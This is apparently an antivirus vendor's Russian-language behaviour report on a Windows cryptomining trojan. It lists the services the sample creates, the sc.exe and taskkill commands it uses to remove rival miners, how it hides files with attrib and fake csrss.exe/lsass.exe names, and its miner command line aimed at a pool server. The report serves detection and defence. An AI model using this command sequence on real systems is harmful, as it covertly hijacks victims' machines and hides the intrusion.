Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\Systemink] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '<SYSTEM32>\export\sc.exe' stop SystemMern
- '<SYSTEM32>\export\sc.exe' delete Wintkoosen
- '<SYSTEM32>\export\sc.exe' stop Wintkoosen
- '<SYSTEM32>\export\sc.exe' delete SystemMens
- '<SYSTEM32>\export\sc.exe' stop SystemMens
- '<SYSTEM32>\export\sc.exe' delete SystemMern
- '<SYSTEM32>\export\sc.exe' delete Wintkooser
- '<SYSTEM32>\export\sc.exe' delete Wintkoose
- '<SYSTEM32>\export\sc.exe' stop Wintkoose
- '<SYSTEM32>\export\sc.exe' delete Wintkoodop
- '<SYSTEM32>\export\sc.exe' stop Wintkooser
- '<SYSTEM32>\export\sc.exe' delete SystemMain
- '<SYSTEM32>\export\sc.exe' stop SystemMain
- '<SYSTEM32>\export\sc.exe' description Systemink "Foold xport The Makefiles "
- '<SYSTEM32>\export\sc.exe' config Systemink start= auto
- '<SYSTEM32>\export\instsrv.exe' Systemink <SYSTEM32>\export\csrss.exe
- '<SYSTEM32>\export\mecoind.exe' -o http://1.##.#0.231:8337/ -u miyayi.1 -p x
- '<SYSTEM32>\export\csrss.exe'
- '<SYSTEM32>\export\sc.exe' start Systemink
- '<SYSTEM32>\export\instsrv.exe' Systemink remove
- '<SYSTEM32>\export\sc.exe' stop Systemen
- '<SYSTEM32>\export\sc.exe' delete Wintkoosens
- '<SYSTEM32>\export\sc.exe' stop Wintkoosens
- '<SYSTEM32>\export\sc.exe' delete Systemo
- '<SYSTEM32>\export\sc.exe' stop Systemo
- '<SYSTEM32>\export\sc.exe' delete Systemen
- '<SYSTEM32>\export\sc.exe' stop Wintkoodop
- '<SYSTEM32>\export\sc.exe' delete wintkooders
- '<SYSTEM32>\export\sc.exe' stop wintkooders
- '<SYSTEM32>\export\sc.exe' delete wintkood
- '<SYSTEM32>\export\sc.exe' stop Wintkooden
- '<SYSTEM32>\export\sc.exe' delete SystemManag
- '<SYSTEM32>\export\sc.exe' stop SystemManag
- '<SYSTEM32>\export\sc.exe' stop wintkood
- '<SYSTEM32>\export\sc.exe' stop wintkool
- '<SYSTEM32>\export\sc.exe' delete wintkooer
- '<SYSTEM32>\export\sc.exe' stop wintkooer
- '<SYSTEM32>\export\sc.exe' delete wintkooder
- '<SYSTEM32>\export\sc.exe' stop wintkooder
- '<SYSTEM32>\export\sc.exe' delete wintkool
- '<SYSTEM32>\export\sc.exe' stop SystemMans
- '<SYSTEM32>\export\sc.exe' delete Wintkoodins
- '<SYSTEM32>\export\sc.exe' stop Wintkoodins
- '<SYSTEM32>\export\sc.exe' delete Wintkoodiner
- '<SYSTEM32>\export\sc.exe' stop Wintkoodiner
- '<SYSTEM32>\export\sc.exe' delete SystemMans
- '<SYSTEM32>\export\sc.exe' delete Wintkoodinst
- '<SYSTEM32>\export\sc.exe' delete SystemManers
- '<SYSTEM32>\export\sc.exe' stop SystemManers
- '<SYSTEM32>\export\sc.exe' delete Wintkooden
- '<SYSTEM32>\export\sc.exe' stop Wintkoodinst
- '<SYSTEM32>\export\sc.exe' delete Wintkoodin
- '<SYSTEM32>\export\sc.exe' stop Wintkoodin
Запускает на исполнение:
- '<SYSTEM32>\net.exe' stop Systemink
- '<SYSTEM32>\net1.exe' stop Systemink
- '<SYSTEM32>\attrib.exe' +s +r +h instsrv.exe
- '<SYSTEM32>\attrib.exe' +s +r +h sc.exe
- '<SYSTEM32>\attrib.exe' +s +r +h <SYSTEM32>\export\instsrv.exe
- '<SYSTEM32>\ping.exe' -n 2 127.1
- '<SYSTEM32>\cmd.exe' /c <SYSTEM32>\export\xcc4.bat
- '<SYSTEM32>\attrib.exe' +s +r +h <SYSTEM32>\export\csrss.exe
- '%WINDIR%\regedit.exe' /s sh.reg
- '<SYSTEM32>\attrib.exe' +s +r +h csrss.exe
- '<SYSTEM32>\taskkill.exe' /f /im smssz.exe
- '<SYSTEM32>\taskkill.exe' /f /im minerd.exe
- '<SYSTEM32>\cmd.exe' /c ""<SYSTEM32>\export\ys.bat" "
- '<SYSTEM32>\taskkill.exe' /f /im mecoind.exe
- '<SYSTEM32>\taskkill.exe' /f /im meciond.exe
- '<SYSTEM32>\ping.exe' -n 3 127.1
- '<SYSTEM32>\attrib.exe' +s +r +h lsass.exe
- '<SYSTEM32>\taskkill.exe' /f /im smszs.exe
- '<SYSTEM32>\taskkill.exe' /f /im const.exe
Изменения в файловой системе:
Создает следующие файлы:
- <SYSTEM32>\export\mecoind.exe
- <SYSTEM32>\export\libcurl.dll
- <SYSTEM32>\export\xcc4.bat
- <SYSTEM32>\export\pthreadGC2.dll
- <SYSTEM32>\export\ys.bat
- <SYSTEM32>\export\instsrv.exe
- <SYSTEM32>\export\csrss.exe
- <SYSTEM32>\export\sh.reg
- <SYSTEM32>\export\sc.exe
Присваивает атрибут 'скрытый' для следующих файлов:
- <SYSTEM32>\export\sc.exe
- <SYSTEM32>\export\instsrv.exe
- <SYSTEM32>\export\csrss.exe
Удаляет следующие файлы:
- <SYSTEM32>\export\sh.reg
Другое:
Ищет следующие окна:
- ClassName: '(null)' WindowName: '(null)'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
